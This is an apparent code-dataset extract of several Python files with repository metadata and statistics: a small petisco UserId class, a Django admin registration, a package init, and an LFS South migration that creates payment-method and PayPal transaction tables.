print(max([])) | 17.863636 | 44 | 0.503817 | 73 | 393 | 2.712329 | 0.191781 | 0.227273 | 0.353535 | 0.277778 | 0.651515 | 0.414141 | 0.348485 | 0.20202 | 0 | 0 | 0 | 0 | 0.21883 | 393 | 22 | 45 | 17.863636 | 0.644951 | 0.86514 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
70acae2eb5979e25258fc52d04b5fc041e789724 | 79 | py | Python | petisco/base/domain/ids/user_id.py | alice-biometrics/petisco | b96e697cc875f67a28e60b4fc0d9ed9fc646cd86 | [
"MIT"
] | 19 | 2019-11-01T09:27:17.000Z | 2021-12-15T10:52:31.000Z | petisco/base/domain/ids/user_id.py | alice-biometrics/petisco | b96e697cc875f67a28e60b4fc0d9ed9fc646cd86 | [
"MIT"
] | 68 | 2020-01-15T06:55:00.000Z | 2022-02-22T15:57:24.000Z | petisco/base/domain/ids/user_id.py | alice-biometrics/petisco | b96e697cc875f67a28e60b4fc0d9ed9fc646cd86 | [
"MIT"
] | 2 | 2019-11-19T10:40:25.000Z | 2019-11-28T07:12:07.000Z | from petisco.base.domain.model.uuid import Uuid
class UserId(Uuid):
pass
| 13.166667 | 47 | 0.746835 | 12 | 79 | 4.916667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164557 | 79 | 5 | 48 | 15.8 | 0.893939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
70cd6cc9e5a57abd0624213d002a0c5c494489c6 | 140 | py | Python | houses/admin.py | johnopana/Rental_App | a3be4dc8ef6e000af70b4e4561805f240b638298 | [
"MIT",
"Unlicense"
] | null | null | null | houses/admin.py | johnopana/Rental_App | a3be4dc8ef6e000af70b4e4561805f240b638298 | [
"MIT",
"Unlicense"
] | 7 | 2020-02-28T12:00:44.000Z | 2022-02-10T14:19:19.000Z | houses/admin.py | johnopana/Rental_App | a3be4dc8ef6e000af70b4e4561805f240b638298 | [
"MIT",
"Unlicense"
] | 3 | 2020-02-27T10:33:53.000Z | 2020-09-23T06:42:44.000Z | from django.contrib import admin
from .models import *
admin.site.register(Profile)
admin.site.register(House)
admin.site.register(Owner)
| 17.5 | 32 | 0.8 | 20 | 140 | 5.6 | 0.55 | 0.241071 | 0.455357 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092857 | 140 | 7 | 33 | 20 | 0.88189 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
cb35402138f7ff515300a1ea328ba451fe73bbf7 | 29 | py | Python | thinsos/__init__.py | mullenkamp/ThinSOS | 3609f1f3b03390c3ebf33cb30da7a79cae85a890 | [
"Apache-2.0"
] | null | null | null | thinsos/__init__.py | mullenkamp/ThinSOS | 3609f1f3b03390c3ebf33cb30da7a79cae85a890 | [
"Apache-2.0"
] | 2 | 2019-04-24T20:18:13.000Z | 2019-04-24T21:01:57.000Z | thinsos/__init__.py | mullenkamp/ThinSOS | 3609f1f3b03390c3ebf33cb30da7a79cae85a890 | [
"Apache-2.0"
] | null | null | null | from thinsos.core import SOS
| 14.5 | 28 | 0.827586 | 5 | 29 | 4.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cb6cde8d9c3e46ef91adc826e28d46a47293bb61 | 28,719 | py | Python | lfs/payment/migrations/0001_initial.py | restless/django-lfs | 4058f9d45b416ef2e8c28a87856ea0f1550b523d | [
"BSD-3-Clause"
] | 1 | 2020-02-26T03:07:39.000Z | 2020-02-26T03:07:39.000Z | lfs/payment/migrations/0001_initial.py | mxins/django-lfs | bf42ed80ce0e1ec96db6ab985adcc614ea79dfc8 | [
"BSD-3-Clause"
] | null | null | null | lfs/payment/migrations/0001_initial.py | mxins/django-lfs | bf42ed80ce0e1ec96db6ab985adcc614ea79dfc8 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
depends_on = (
("paypal.ipn", '0001_first_migration'),
("order", "0001_initial"),
)
def forwards(self, orm):
# Adding model 'PaymentMethod'
db.create_table('payment_paymentmethod', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('active', self.gf('django.db.models.fields.BooleanField')(default=False)),
('priority', self.gf('django.db.models.fields.IntegerField')(default=0)),
('name', self.gf('django.db.models.fields.CharField')(max_length=50)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('note', self.gf('django.db.models.fields.TextField')(blank=True)),
('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, null=True, blank=True)),
('tax', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tax.Tax'], null=True, blank=True)),
('price', self.gf('django.db.models.fields.FloatField')(default=0.0)),
('deletable', self.gf('django.db.models.fields.BooleanField')(default=True)),
('module', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('type', self.gf('django.db.models.fields.PositiveSmallIntegerField')(default=0)),
))
db.send_create_signal('payment', ['PaymentMethod'])
# Adding model 'PaymentMethodPrice'
db.create_table('payment_paymentmethodprice', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('payment_method', self.gf('django.db.models.fields.related.ForeignKey')(related_name='prices', to=orm['payment.PaymentMethod'])),
('price', self.gf('django.db.models.fields.FloatField')(default=0.0)),
('priority', self.gf('django.db.models.fields.IntegerField')(default=0)),
('active', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('payment', ['PaymentMethodPrice'])
# Adding model 'PayPalOrderTransaction'
db.create_table('payment_paypalordertransaction', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('order', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['order.Order'], unique=True)),
))
db.send_create_signal('payment', ['PayPalOrderTransaction'])
# Adding M2M table for field ipn on 'PayPalOrderTransaction'
db.create_table('payment_paypalordertransaction_ipn', (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('paypalordertransaction', models.ForeignKey(orm['payment.paypalordertransaction'], null=False)),
('paypalipn', models.ForeignKey(orm['ipn.paypalipn'], null=False))
))
db.create_unique('payment_paypalordertransaction_ipn', ['paypalordertransaction_id', 'paypalipn_id'])
def backwards(self, orm):
# Deleting model 'PaymentMethod'
db.delete_table('payment_paymentmethod')
# Deleting model 'PaymentMethodPrice'
db.delete_table('payment_paymentmethodprice')
# Deleting model 'PayPalOrderTransaction'
db.delete_table('payment_paypalordertransaction')
# Removing M2M table for field ipn on 'PayPalOrderTransaction'
db.delete_table('payment_paypalordertransaction_ipn')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'catalog.deliverytime': {
'Meta': {'ordering': "('min',)", 'object_name': 'DeliveryTime'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'max': ('django.db.models.fields.FloatField', [], {}),
'min': ('django.db.models.fields.FloatField', [], {}),
'unit': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '2'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'ipn.paypalipn': {
'Meta': {'object_name': 'PayPalIPN', 'db_table': "'paypal_ipn'"},
'address_city': ('django.db.models.fields.CharField', [], {'max_length': '40', 'blank': 'True'}),
'address_country': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'address_country_code': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'address_name': ('django.db.models.fields.CharField', [], {'max_length': '128', 'blank': 'True'}),
'address_state': ('django.db.models.fields.CharField', [], {'max_length': '40', 'blank': 'True'}),
'address_status': ('django.db.models.fields.CharField', [], {'max_length': '11', 'blank': 'True'}),
'address_street': ('django.db.models.fields.CharField', [], {'max_length': '200', 'blank': 'True'}),
'address_zip': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}),
'amount': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'amount1': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'amount2': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'amount3': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'amount_per_cycle': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'auction_buyer_id': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'auction_closing_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'auction_multi_item': ('django.db.models.fields.IntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}),
'auth_amount': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'auth_exp': ('django.db.models.fields.CharField', [], {'max_length': '28', 'blank': 'True'}),
'auth_id': ('django.db.models.fields.CharField', [], {'max_length': '19', 'blank': 'True'}),
'auth_status': ('django.db.models.fields.CharField', [], {'max_length': '9', 'blank': 'True'}),
'business': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'case_creation_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'case_id': ('django.db.models.fields.CharField', [], {'max_length': '14', 'blank': 'True'}),
'case_type': ('django.db.models.fields.CharField', [], {'max_length': '24', 'blank': 'True'}),
'charset': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'contact_phone': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}),
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'currency_code': ('django.db.models.fields.CharField', [], {'default': "'USD'", 'max_length': '32', 'blank': 'True'}),
'custom': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'exchange_rate': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '16', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'flag': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'flag_code': ('django.db.models.fields.CharField', [], {'max_length': '16', 'blank': 'True'}),
'flag_info': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'for_auction': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'from_view': ('django.db.models.fields.CharField', [], {'max_length': '6', 'null': 'True', 'blank': 'True'}),
'handling_amount': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'initial_payment_amount': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'invoice': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'ipaddress': ('django.db.models.fields.IPAddressField', [], {'max_length': '15', 'blank': 'True'}),
'item_name': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'item_number': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'mc_amount1': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'mc_amount2': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'mc_amount3': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'mc_currency': ('django.db.models.fields.CharField', [], {'default': "'USD'", 'max_length': '32', 'blank': 'True'}),
'mc_fee': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'mc_gross': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'mc_handling': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'mc_shipping': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'memo': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'next_payment_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'notify_version': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'num_cart_items': ('django.db.models.fields.IntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}),
'option_name1': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'option_name2': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'outstanding_balance': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'parent_txn_id': ('django.db.models.fields.CharField', [], {'max_length': '19', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '24', 'blank': 'True'}),
'payer_business_name': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'payer_email': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'payer_id': ('django.db.models.fields.CharField', [], {'max_length': '13', 'blank': 'True'}),
'payer_status': ('django.db.models.fields.CharField', [], {'max_length': '10', 'blank': 'True'}),
'payment_cycle': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'payment_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'payment_gross': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'payment_status': ('django.db.models.fields.CharField', [], {'max_length': '9', 'blank': 'True'}),
'payment_type': ('django.db.models.fields.CharField', [], {'max_length': '7', 'blank': 'True'}),
'pending_reason': ('django.db.models.fields.CharField', [], {'max_length': '14', 'blank': 'True'}),
'period1': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'period2': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'period3': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'period_type': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'product_name': ('django.db.models.fields.CharField', [], {'max_length': '128', 'blank': 'True'}),
'product_type': ('django.db.models.fields.CharField', [], {'max_length': '128', 'blank': 'True'}),
'profile_status': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'protection_eligibility': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'quantity': ('django.db.models.fields.IntegerField', [], {'default': '1', 'null': 'True', 'blank': 'True'}),
'query': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'reason_code': ('django.db.models.fields.CharField', [], {'max_length': '15', 'blank': 'True'}),
'reattempt': ('django.db.models.fields.CharField', [], {'max_length': '1', 'blank': 'True'}),
'receipt_id': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'receiver_email': ('django.db.models.fields.EmailField', [], {'max_length': '127', 'blank': 'True'}),
'receiver_id': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'recur_times': ('django.db.models.fields.IntegerField', [], {'default': '0', 'null': 'True', 'blank': 'True'}),
'recurring': ('django.db.models.fields.CharField', [], {'max_length': '1', 'blank': 'True'}),
'recurring_payment_id': ('django.db.models.fields.CharField', [], {'max_length': '128', 'blank': 'True'}),
'remaining_settle': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'residence_country': ('django.db.models.fields.CharField', [], {'max_length': '2', 'blank': 'True'}),
'response': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'retry_at': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'rp_invoice_id': ('django.db.models.fields.CharField', [], {'max_length': '127', 'blank': 'True'}),
'settle_amount': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'settle_currency': ('django.db.models.fields.CharField', [], {'max_length': '32', 'blank': 'True'}),
'shipping': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'shipping_method': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'subscr_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'subscr_effective': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'subscr_id': ('django.db.models.fields.CharField', [], {'max_length': '19', 'blank': 'True'}),
'tax': ('django.db.models.fields.DecimalField', [], {'default': '0', 'null': 'True', 'max_digits': '64', 'decimal_places': '2', 'blank': 'True'}),
'test_ipn': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'time_created': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'transaction_entity': ('django.db.models.fields.CharField', [], {'max_length': '7', 'blank': 'True'}),
'transaction_subject': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'txn_id': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '19', 'blank': 'True'}),
'txn_type': ('django.db.models.fields.CharField', [], {'max_length': '128', 'blank': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'max_length': '64', 'blank': 'True'}),
'verify_sign': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'})
},
'order.order': {
'Meta': {'ordering': "('-created',)", 'object_name': 'Order'},
'account_number': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'bank_identification_code': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'bank_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'customer_email': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'customer_firstname': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'customer_lastname': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'depositor': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'ia_content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'order_invoice_address'", 'to': "orm['contenttypes.ContentType']"}),
'ia_object_id': ('django.db.models.fields.PositiveIntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'message': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'number': ('django.db.models.fields.CharField', [], {'max_length': '30'}),
'pay_link': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'payment_method': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['payment.PaymentMethod']", 'null': 'True', 'blank': 'True'}),
'payment_price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'payment_tax': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'requested_delivery_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sa_content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'order_shipping_address'", 'to': "orm['contenttypes.ContentType']"}),
'sa_object_id': ('django.db.models.fields.PositiveIntegerField', [], {}),
'session': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'shipping_method': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['shipping.ShippingMethod']", 'null': 'True', 'blank': 'True'}),
'shipping_price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'shipping_tax': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'state': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '0'}),
'state_modified': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'tax': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}),
'uuid': ('django.db.models.fields.CharField', [], {'default': "'cb38c15b-66b9-48ad-bae2-1013ef3dd5e8'", 'unique': 'True', 'max_length': '50'}),
'voucher_number': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'voucher_price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'voucher_tax': ('django.db.models.fields.FloatField', [], {'default': '0.0'})
},
'payment.paymentmethod': {
'Meta': {'ordering': "('priority',)", 'object_name': 'PaymentMethod'},
'active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'deletable': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'module': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'note': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'priority': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'tax': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tax.Tax']", 'null': 'True', 'blank': 'True'}),
'type': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '0'})
},
'payment.paymentmethodprice': {
'Meta': {'ordering': "('priority',)", 'object_name': 'PaymentMethodPrice'},
'active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'payment_method': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'prices'", 'to': "orm['payment.PaymentMethod']"}),
'price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'priority': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'payment.paypalordertransaction': {
'Meta': {'object_name': 'PayPalOrderTransaction'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'ipn': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['ipn.PayPalIPN']", 'symmetrical': 'False'}),
'order': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['order.Order']", 'unique': 'True'})
},
'shipping.shippingmethod': {
'Meta': {'ordering': "('priority',)", 'object_name': 'ShippingMethod'},
'active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'delivery_time': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['catalog.DeliveryTime']", 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'note': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'price': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'price_calculator': ('django.db.models.fields.CharField', [], {'default': "'lfs.shipping.GrossShippingMethodPriceCalculator'", 'max_length': '200'}),
'priority': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'tax': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tax.Tax']", 'null': 'True', 'blank': 'True'})
},
'tax.tax': {
'Meta': {'object_name': 'Tax'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'rate': ('django.db.models.fields.FloatField', [], {'default': '0'})
}
}
complete_apps = ['payment'] | 90.311321 | 182 | 0.572966 | 3,000 | 28,719 | 5.357 | 0.092333 | 0.112999 | 0.196876 | 0.281252 | 0.812644 | 0.785701 | 0.759629 | 0.703565 | 0.632755 | 0.552735 | 0 | 0.016925 | 0.177095 | 28,719 | 318 | 183 | 90.311321 | 0.663098 | 0.012152 | 0 | 0.149153 | 0 | 0 | 0.579387 | 0.319946 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00678 | false | 0.00678 | 0.013559 | 0 | 0.033898 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
